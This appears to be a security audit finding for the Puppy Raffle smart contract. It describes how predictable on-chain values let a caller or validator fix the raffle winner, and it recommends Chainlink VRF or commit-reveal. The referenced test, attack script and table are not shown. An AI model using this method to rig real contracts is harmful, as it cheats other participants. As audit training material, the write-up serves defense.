Puppy Raffle

Description

selectWinner() generates the winner index and the NFT rarity using keccak256 over on-chain values that are either publicly known or miner-controlled:

• msg.sender — chosen by the attacker

• block.timestamp — can be influenced by validators (up to ~12 seconds)

• block.difficulty — on Ethereum post-Merge this is block.prevrandao, which while harder to manipulate, is still not cryptographically safe for economic decisions

An attacker who calls selectWinner() knows their own msg.sender and can read block.timestamp and block.difficulty from a pending block or simulate them locally to brute-force a call that lands on their own address as winner.

Impact

A malicious caller or validator can guarantee they win the raffle prize (80% of the prize pool) and can also manipulate the NFT rarity to always mint a Legendary. The entire fairness assumption of the raffle is broken. All other players are guaranteed to lose.

Proof of Concept

How the attack works in plain terms:

The attacker runs the same keccak256 formula the contract uses — off-chain — before ever submitting a transaction. Since all inputs (msg.sender, block.timestamp, block.difficulty) are publicly visible, the winner is fully known in advance. If the result is not favourable, the attacker waits for a better block. Miners and validators go further — they directly set block.timestamp to guarantee their preferred outcome.

1. Forge unit test — definitive automated proof (test/PuppyRaffleTest.t.sol)

This test proves the PRNG is deterministic and predictable by computing the winner index using the exact same formula as the contract, then verifying the prediction matches reality:

Test result:

2. On-chain prediction script (script/AttackPRNG.sol) — methodology demonstration

This script proves that before calling selectWinner(), the attacker can compute exactly who will win using publicly available block data:

To reproduce:

Note on Anvil simulation vs broadcast: The script's prediction is computed in the simulation phase using the current block's values. The broadcast transaction lands in the next block with a slightly different block.timestamp (+1 second). This 1-second shift is itself proof of the vulnerability — a miner or validator who controls block.timestamp directly can guarantee any outcome. On a real chain, they would simply set the timestamp to the value that makes their preferred address win.

3. Key observation — the winner changes with every second

A miner selects any row from this table and sets block.timestamp accordingly — choosing the winner before the block is even published.

Recommended Mitigation

Why block.timestamp, block.difficulty, and msg.sender are not safe entropy sources:

Option 1 — Chainlink VRF v2 (Recommended)

Use Chainlink VRF (Verifiable Random Function) — the industry standard for verifiably fair, tamper-proof on-chain randomness. The random number is generated off-chain with a cryptographic proof that the contract verifies before using the value.

Option 2 — Commit-Reveal Scheme (No Oracle Dependency)

A two-phase approach where the randomness is committed to before the reveal block, making last-minute manipulation impossible. Suitable if you cannot integrate Chainlink VRF.